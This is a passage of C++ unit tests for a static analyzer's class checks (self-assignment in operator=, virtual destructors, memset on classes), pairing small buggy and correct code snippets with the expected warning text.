if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n 